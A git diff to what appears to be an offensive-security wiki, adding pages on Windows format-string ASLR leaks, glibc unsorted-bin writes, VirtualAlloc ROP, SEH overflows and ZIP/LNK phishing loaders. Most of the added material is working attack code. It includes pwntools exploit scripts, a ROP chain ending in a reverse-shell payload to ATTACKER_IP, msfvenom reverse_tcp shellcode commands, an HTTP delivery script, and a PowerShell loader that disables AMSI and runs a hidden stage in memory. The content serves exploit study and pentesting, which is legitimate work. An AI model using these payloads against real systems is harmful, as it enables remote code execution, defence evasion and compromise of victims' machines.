diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5d6679535..ed10ffe41 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -234,6 +234,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) @@ -432,6 +433,7 @@ - [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md) - [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md) - [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md) + - [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md) - [JBOSS](network-services-pentesting/pentesting-web/jboss.md) - [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md) - [Joomla](network-services-pentesting/pentesting-web/joomla.md) @@ -777,6 +779,7 @@ - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md) + - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Integer Overflow](binary-exploitation/integer-overflow.md) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index a839a140f..0d6b25be4 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -153,7 +153,7 @@ Arbitrary reads can be useful to: ## **Arbitrary Write** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. +The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. @@ -227,6 +227,46 @@ p.interactive() It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. + +## Windows x64: Format-string leak to bypass ASLR (no varargs) + +On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In many buggy call-sites the attacker-controlled string is used as the format argument but no variadic arguments are provided, for example: + +```c +// keyData is fully controlled by the client +// _snprintf(dst, len, fmt, ...) +_snprintf(keyStringBuffer, 0xff2, (char*)keyData); +``` + +Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR. + +Practical workflow: + +- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering. +- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`. +- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely. + +Example (abbreviated python): + +```python +from pwn import remote + +# Send an input that the vulnerable code will pass as the "format" +fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9 +io = remote(HOST, 4141) +# ... drive protocol to reach the vulnerable snprintf ... +leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 +base = leaked - 0x20660 # module base = leak - offset +print(hex(leaked), hex(base)) +``` + +Notes: +- The exact offset to subtract is found once during local reversing and then reused (same binary/version). +- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack. +- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them. + +This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives. + ## Other Examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) @@ -240,6 +280,9 @@ It's possible to abuse the write actions of a format string vulnerability to **w - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. +## References + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) + {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 1bd9b4477..14263c11c 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -13,7 +13,9 @@ bins-and-memory-allocations.md Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). +So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack). + +- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive. > [!TIP] > T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. @@ -27,6 +29,62 @@ So, basically, this attack allows to **set a big number at an arbitrary address* The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +### How the write actually happens + +- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list. +- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` +- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`. +- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded. + +## Modern constraints (glibc ≥ 2.33) + +To use unsorted‑bin writes reliably on current glibc: + +- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either + - make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or + - fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or + - if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified): + - `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`. + - This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful. +- Typical stable targets in modern exploits + - Application or global state that treats "large" values as flags/limits. + - Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where). + - Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note). +- About `global_max_fast` on recent glibc + - On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies. + +## Minimal exploitation recipe (modern glibc) + +Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing. + +- Layout/grooming + - Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk. +- Corruption + - Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`. +- Trigger + - `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`. +- Continuation + - If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big". + +Pseudocode skeleton: + +```c +// 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes) +void *A = malloc(0x5000); +void *B = malloc(0x5000); +void *C = malloc(0x5000); // guard + +// overflow from A into B’s metadata (prev_size/size/.../bk). You must control B->bk. +*(size_t *)((char*)B - 0x8) = (size_t)(TARGET - 0x10); // write fake bk + +free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) +``` + +> [!NOTE] +> • If you cannot bypass tcache with size, fill the tcache bin for the chosen size (7 frees) before freeing the corrupted chunk so the free goes to unsorted. +> • If the program immediately aborts on the next allocation due to unsorted-bin checks, re‑examine that `victim->fd` still equals the bin head and that your `TARGET` holds the exact `victim` pointer after the first write. + ## Unsorted Bin Infoleak Attack This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ @@ -71,6 +129,10 @@ Then C was deallocated, and consolidated with A+B (but B was still in used). A n - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. + + +## References + +- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c +- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index c45d2c3d1..b58b8bdba 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -79,6 +79,15 @@ In this scenario the attacker could place a shellcode in the stack and abuse the stack-shellcode/ {{#endref}} +### Windows SEH-based exploitation (nSEH/SEH) + +On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start. + + +{{#ref}} +windows-seh-overflow.md +{{#endref}} + ### ROP & Ret2... techniques This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: @@ -202,6 +211,7 @@ Lessons learned: ## References * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) +* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 227a96d8d..cd1197d42 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -76,7 +76,75 @@ This script constructs a payload consisting of a **NOP slide**, the **shellcode* The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. -## Protections +## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) + +On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain. + +Key points (Win64 calling convention): +- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) + - RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload + - RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000) + - R8 = flAllocationType = MEM_COMMIT (0x1000) + - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) +- Return directly into the shellcode placed right after the chain. + +Minimal strategy: +1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. +2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). +3) Place stage-2 shellcode immediately after the chain. + +Example layout (conceptual): +``` +# ... padding up to saved RIP ... +# R9 = 0x40 (PAGE_EXECUTE_READWRITE) +POP_R9_RET; 0x40 +# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic +POP_R8_RET; 0x1000 +# RCX = &stack (lpAddress) +LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg +# RDX = size (dwSize) +POP_RDX_RET; 0x1000 +# Call VirtualAlloc via the IAT +[IAT_VirtualAlloc] +# New RWX memory at RCX — execution continues at the next stack qword +JMP_SHELLCODE_OR_RET +# ---- stage-2 shellcode (x64) ---- +``` + +With a constrained gadget set, you can craft register values indirectly, for example: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword. +- xor rbx, rsp; ret → seed rbx with the current stack pointer. +- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX. + +Pwntools sketch (given a known base and gadgets): +```python +from pwn import * +base = 0x7ff6693b0000 +IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing +rop = b'' +# r9 = 0x40 +rop += p64(base+POP_RBX_RET) + p64(0x40) +rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' +# rcx = rsp +rop += p64(base+POP_RBX_RET) + p64(0) +rop += p64(base+XOR_RBX_RSP_RET) +rop += p64(base+PUSH_RBX_POP_RAX_RET) +rop += p64(base+MOV_RCX_RAX_RET) +# r8 = 0x1000 via arithmetic if no pop r8 +for _ in range(0x1000//0x40): + rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET) +# rdx = 0x1000 (use any available gadget) +rop += p64(base+POP_RDX_RET) + p64(0x1000) +# call VirtualAlloc and land in shellcode +rop += p64(IAT_VirtualAlloc) +rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) +``` + +Tips: +- VirtualProtect works similarly if making an existing buffer RX is preferable; the parameter order is different. +- If the stack space is tight, allocate RWX elsewhere (RCX=NULL) and jmp to that new region instead of reusing the stack. +- Always account for gadgets that adjust RSP (e.g., add rsp, 8; ret) by inserting junk qwords. + - [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. - [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) should be also disabled or the compromised EIP return address won't never be followed. @@ -94,6 +162,12 @@ The **NOP slide** (`asm('nop')`) is used to increase the chance that execution w - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack + +## References + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md new file mode 100644 index 000000000..5eb4b9b84 --- /dev/null +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -0,0 +1,164 @@ +# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) + +{{#include ../../banners/hacktricks-training.md}} + +SEH-based exploitation is a classic x86 Windows technique that abuses the Structured Exception Handler chain stored on the stack. When a stack buffer overflow overwrites the two 4-byte fields + +- nSEH: pointer to the next SEH record, and +- SEH: pointer to the exception handler function + +an attacker can take control of execution by: + +1) Setting SEH to the address of a POP POP RET gadget in a non-protected module, so that when an exception is dispatched the gadget returns into attacker-controlled bytes, and +2) Using nSEH to redirect execution (typically a short jump) back into the large overflowing buffer where shellcode resides. + +This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing. + +--- + +## Finding exact offsets (nSEH / SEH) + +- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view). +- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH. + +Example with peda/GEF/pwntools on a 1000-byte POST body: + +```bash +# generate pattern (any tool is fine) +/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 +# or +python3 -c "from pwn import *; print(cyclic(1000).decode())" + +# after crash, note the two 32-bit values from SEH view and compute offsets +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH +# ➜ offsets example: nSEH=660, SEH=664 +``` + +Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible. + +--- + +## Choosing a POP POP RET (SEH gadget) + +You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR: + +- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. + +Pick an address that contains no badchars when written little-endian (e.g., `p32(0x004094D8)`). Prefer gadgets inside the vulnerable binary if protections allow. + +--- + +## Jump-back technique (short + near jmp) + +nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH. + +With nasmshell: + +```text +nasm> jmp -660 ; too far for short; near jmp is 5 bytes +E967FDFFFF +nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding) +EBF6 +nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) +E96FFDFFFF +``` + +Layout idea for a 1000-byte payload with nSEH at offset 660: + +```python +buffer_length = 1000 +payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start +payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH +payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding +payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad +payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) +payload += b"D" * (buffer_length - len(payload)) +``` + +Execution flow: +- Exception occurs, dispatcher uses overwritten SEH. +- POP POP RET unwinds into our nSEH. +- nSEH executes `jmp short -8` into the 5-byte near jump. +- Near jump lands at the beginning of our buffer where the NOP sled + shellcode reside. + +--- + +## Bad characters + +Build a full badchar string and compare the stack memory after the crash, removing bytes that are mangled by the target parser. For HTTP-based overflows, `\x00\x0a\x0d` are almost always excluded. + +```python +badchars = bytes([x for x in range(1,256)]) +payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case +``` + +--- + +## Shellcode generation (x86) + +Use msfvenom with your badchars. A small NOP sled helps tolerate landing variance. + +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ + -b "\x00\x0a\x0d" -f python -v sc +``` + +If generating on the fly, the hex format is convenient to embed and unhex in Python: + +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ + -b "\x00\x0a\x0d" -f hex +``` + +--- + +## Delivering over HTTP (precise CRLF + Content-Length) + +When the vulnerable vector is an HTTP request body, craft a raw request with exact CRLFs and Content-Length so the server reads the entire overflowing body. + +```python +# pip install pwntools +from pwn import remote +host, port = "", 8080 +body = b"A" * 1000 # replace with the SEH-aware buffer above +req = f"""POST / HTTP/1.1 +Host: {host}:{port} +User-Agent: curl/8.5.0 +Accept: */* +Content-Length: {len(body)} +Connection: close + +""".replace('\n','\r\n').encode() + body +p = remote(host, port) +p.send(req) +print(p.recvall(timeout=0.5)) +p.close() +``` + +--- + +## Tooling + +- x32dbg/x64dbg to observe SEH chain and triage the crash. +- ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets: `ERC --SEH`. +- Mona as an alternative: `!mona modules`, `!mona seh`. +- nasmshell to assemble short/near jumps and copy raw opcodes. +- pwntools to craft precise network payloads. + +--- + +## Notes and caveats + +- Only applies to x86 processes. x64 uses a different SEH scheme and SEH-based exploitation is generally not viable. +- Prefer gadgets in modules without SafeSEH and ASLR; otherwise, find an unprotected module loaded into the process. +- Service watchdogs that automatically restart on crash can make iterative exploit development easier. + +## References +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) +- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) +- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 519818c77..033e39c1f 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -21,7 +21,7 @@ DOCX files referencing a remote template (File –Options –Add-ins –Manage: ### External Image Load Go to: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\/whatever +_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) @@ -167,6 +167,57 @@ Don't forget that you cannot only steal the hash or the authentication but also - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) -{{#include ../../banners/hacktricks-training.md}} +## LNK Loaders + ZIP-Embedded Payloads (fileless chain) +Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory. +Typical flow implemented by the .lnk PowerShell one-liner: + +1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory. +2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload. +3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate. +4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Deobfuscate the next stage (e.g., remove all # characters) and execute it in memory. + +Example PowerShell skeleton to carve and run the embedded stage: + +```powershell +$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') +$paths = @( + "$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents", + "$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName +) +$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1 +if(-not $zip){ return } +$bytes = [IO.File]::ReadAllBytes($zip.FullName) +$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker) +if($idx -lt 0){ return } +$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)] +$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' +[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) +Invoke-Expression $code +``` + +Notes +- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA). +- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts. + +Persistence used in the same chain +- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: + +{{#ref}} +../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md +{{#endref}} + +Hunting/IOCs +- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data. +- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document. +- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Long-running business threads ending with links hosted under trusted PaaS domains. + +## References + +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) + +{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 835a6bdb1..6c419ccb0 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1630,6 +1630,15 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + ## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) @@ -1675,13 +1684,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Android rooting frameworks: manager-channel abuse - -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md 